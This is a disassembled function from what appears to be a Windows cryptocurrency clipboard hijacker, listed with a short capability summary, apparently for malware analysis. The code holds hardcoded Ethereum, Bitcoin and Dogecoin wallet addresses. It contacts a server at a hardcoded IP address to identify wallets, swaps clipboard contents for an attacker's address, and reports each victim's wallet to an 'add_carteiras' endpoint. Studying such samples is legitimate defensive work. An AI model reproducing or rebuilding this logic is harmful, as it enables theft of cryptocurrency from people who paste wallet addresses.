Function at 0x401ef0
Capabilities:
Create http request
Download and write a file
Open clipboard
Read data from internet
Receive and write data from server to client
Receive data
Write clipboard data
Write file on windows

Disassembly:
push ebp
push edi
push esi
push ebx
push eax
mov eax, 0x2058
call fcn.00403020
sub esp, eax
mov eax, dword [esp + eax]
lea ebx, [esp + 0x50]
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_strcpy
mov dword [esp + 4], 0x40c7ae
mov dword [esp], ebx
mov dword [esp + 0x38], 0x40c725
mov dword [esp + 0x3c], str.0x8744fb0Cf2B13706241C5e9e1E58cEE086B9deac
mov dword [esp + 0x40], 0x40c757
mov dword [esp + 0x44], str.bc1qlpkgk2ma8ecj5yr0esgjmcn2v88lxgzc7vkdxn
mov dword [esp + 0x48], str.doge
mov dword [esp + 0x4c], str.KgxnadJymQZd3rrytoxx2mfy6SnzWUXiF
call sub.msvcrt.dll_strtok
mov ecx, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 0x28], eax
add ecx, 0x40
test eax, eax
mov dword [esp + 0x2c], ecx
je 0x4020e0
lea esi, [esi]
mov dword [esp + 8], eax
lea eax, [esp + 0x850]
mov dword [esp + 4], str._carteira_s
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [esp + 0x850]
mov dword [esp + 8], str.http:__45.40.96.209:5000_identificar_carteira
mov dword [esp + 4], str._s_s
mov dword [esp + 0xc], eax
lea eax, [esp + 0x1050]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], str.Minha_Aplicacao
call sub.WININET.DLL_InternetOpenA
sub esp, 0x14
test eax, eax
mov dword [esp + 0x24], eax
je 0x4023f5
lea eax, [esp + 0x1050]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0x80000000
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.WININET.DLL_InternetOpenUrlA
sub esp, 0x18
test eax, eax
mov esi, eax
je 0x402433
xor ebx, ebx
xor ebp, ebp
jmp 0x40207a
lea edi, [eax + ebx]
lea eax, [esp + 0x450]
mov dword [esp + 8], 0x1000
mov dword [esp], esi
mov dword [esp + 0xc], eax
mov dword [esp + 4], edi
call sub.WININET.DLL_InternetReadFile
sub esp, 0x10
test eax, eax
je 0x4020f0
mov eax, dword [esp + 0x450]
test eax, eax
je 0x4020f0
add ebx, eax
lea eax, [ebx + 0x1000]
mov dword [esp], ebp
mov dword [esp + 4], eax
call sub.msvcrt.dll_realloc
test eax, eax
mov ebp, eax
jne 0x402040
mov dword [esp], str.saglZUWqFCDedtBvgxLYUjTDVcAwSQgjeOWDDhGyCmSCtVdDkTvTIotEYJKmVZXbyoaLSaQbiMaCyejDdMGgTVMNWIdGuImyrze
call sub.msvcrt.dll_puts
mov dword [esp], esi
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
nop
lea esi, [esi]
mov dword [esp + 4], 0x40c7ae
mov dword [esp], 0
call sub.msvcrt.dll_strtok
test eax, eax
mov dword [esp + 0x28], eax
jne 0x401f70
add esp, 0x205c
pop ebx
pop esi
pop edi
pop ebp
ret
mov byte [edi], 0
mov dword [esp], esi
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
mov eax, dword [esp + 0x38]
mov dword [esp], ebp
mov dword [esp + 4], eax
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x4023c9
mov eax, dword [esp + 0x40]
mov dword [esp], ebp
mov dword [esp + 4], eax
call sub.msvcrt.dll_strcmp
test eax, eax
je 0x4023d2
mov eax, dword [esp + 0x48]
mov dword [esp], ebp
mov dword [esp + 4], eax
call sub.msvcrt.dll_strcmp
test eax, eax
jne 0x4020c0
lea eax, [esp + 0x48]
mov ebx, dword [eax + 4]
test ebx, ebx
je 0x4020c0
mov dword [esp + 4], ebx
mov dword [esp], str._s._n
call sub.msvcrt.dll_printf
mov esi, dword [esp + 0x28]
mov dword [esp], str._s._n
mov dword [esp + 4], esi
call sub.msvcrt.dll_printf
mov dword [esp + 4], ebp
mov dword [esp], str._s._n
call sub.msvcrt.dll_printf
mov dword [esp], esi
call sub.msvcrt.dll_strlen
mov dword [esp + 4], ebx
mov dword [esp + 8], eax
mov dword [esp], esi
call sub.msvcrt.dll_strncmp
test eax, eax
jne 0x4021d0
mov dword [esp + 4], esi
mov dword [esp], str.saglZUWqFCDedtBvgxLYUjTDVcAwSQgjeOWDDhGyCmSCtVdDkTvTIotEYJKmVZXbyoaLSaQbiMaCyejDdMGgTVMNWIdGuImyrze:__s_n
call sub.msvcrt.dll_printf
jmp 0x4020c0
mov dword [esp], 0
call sub.USER32.dll_OpenClipboard
sub esp, 4
test eax, eax
je 0x4023a0
call sub.USER32.dll_EmptyClipboard
mov dword [esp], ebx
call sub.msvcrt.dll_strlen
lea esi, [eax + 1]
mov dword [esp], 2
mov dword [esp + 4], esi
call sub.KERNEL32.dll_GlobalAlloc
sub esp, 8
test eax, eax
mov edi, eax
je 0x4023a0
mov dword [esp], eax
call sub.KERNEL32.dll_GlobalLock
sub esp, 4
mov dword [esp + 8], esi
mov dword [esp + 4], ebx
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
mov dword [esp], edi
call sub.KERNEL32.dll_GlobalUnlock
sub esp, 4
mov dword [esp + 4], edi
mov dword [esp], 1
call sub.USER32.dll_SetClipboardData
sub esp, 8
test eax, eax
je 0x402406
call sub.USER32.dll_CloseClipboard
mov eax, dword [esp + 0x28]
mov dword [esp + 8], ebx
mov dword [esp + 4], str._carteira_scarteira_vitima_scliente_adsneocliente_version10.1.1.1
mov dword [esp + 0xc], eax
lea eax, [esp + 0x450]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
lea eax, [esp + 0x450]
mov dword [esp + 8], str.http:__45.40.96.209:5000_add_carteiras
mov dword [esp + 4], str._s_s
mov dword [esp + 0xc], eax
lea eax, [esp + 0x850]
mov dword [esp], eax
call sub.msvcrt.dll_sprintf
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], 1
mov dword [esp], str.Minha_Aplicacao
call sub.WININET.DLL_InternetOpenA
sub esp, 0x14
test eax, eax
mov edi, eax
je 0x4023db
lea eax, [esp + 0x850]
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0x80000000
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], eax
mov dword [esp], edi
call sub.WININET.DLL_InternetOpenUrlA
sub esp, 0x18
test eax, eax
mov ebx, eax
lea esi, [esp + 0x34]
jne 0x402353
jmp 0x402453
mov eax, dword [esp + 0x34]
test eax, eax
je 0x402379
lea edx, [esp + 0x1050]
mov dword [esp + 4], eax
mov dword [esp], str._.s
mov dword [esp + 8], edx
call sub.msvcrt.dll_printf
lea eax, [esp + 0x1050]
mov dword [esp + 0xc], esi
mov dword [esp + 8], 0x1000
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.WININET.DLL_InternetReadFile
sub esp, 0x10
test eax, eax
jne 0x402330
mov dword [esp], ebx
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
mov dword [esp], edi
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
jmp 0x4020c0
mov eax, dword [esp + 0x2c]
mov dword [esp + 8], 0x65
mov dword [esp + 4], 1
mov dword [esp], str.saglZUWqFCDedtBvgxLYUjTDVcAwSQgjeOWDDhGyCmSCtVdDkTvTIotEYJKmVZXbyoaLSaQbiMaCyejDdMGgTVMNWIdGuImyrze._n
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
jmp 0x4020c0
lea eax, [esp + 0x38]
jmp 0x402159
lea eax, [esp + 0x40]
jmp 0x402159
call sub.KERNEL32.dll_GetLastError
mov dword [esp], str.saglZUWqFCDedtBvgxLYUjTDVcAwSQgjeOWDDhGyCmSCtVdDkTvTIotEYJKmVZXbyoaLSaQbiMaCyejDdMGgTVMNWIdGuImyrze:__lu_n
mov dword [esp + 4], eax
call sub.msvcrt.dll_printf
jmp 0x4020c0
mov dword [esp], str.saglZUWqFCDedtBvgxLYUjTDVcAwSQgjeOWDDhGyCmSCtVdDkTvTIotEYJKmVZXbyoaLSaQbiMaCyejDdMGgTVMNWIdGuImyrze
call sub.msvcrt.dll_puts
jmp 0x4020c0
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x32
mov dword [esp + 4], 1
mov dword [esp], str.Erro_ao_definir_dados_na_rea_de_transferncia._n
add eax, 0x40
mov dword [esp + 0xc], eax
call sub.msvcrt.dll_fwrite
jmp 0x402255
mov dword [esp], str.Erro_ao_abrir_a_URL
call sub.msvcrt.dll_puts
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
jmp 0x4020c0
call sub.KERNEL32.dll_GetLastError
mov dword [esp], str.saglZUWqFCDedtBvgxLYUjTDVcAwSQgjeOWDDhGyCmSCtVdDkTvTIotEYJKmVZXbyoaLSaQbiMaCyejDdMGgTVMNWIdGuImyrze:__lu_n
mov dword [esp + 4], eax
call sub.msvcrt.dll_printf
mov dword [esp], edi
call sub.WININET.DLL_InternetCloseHandle
sub esp, 4
jmp 0x4020c0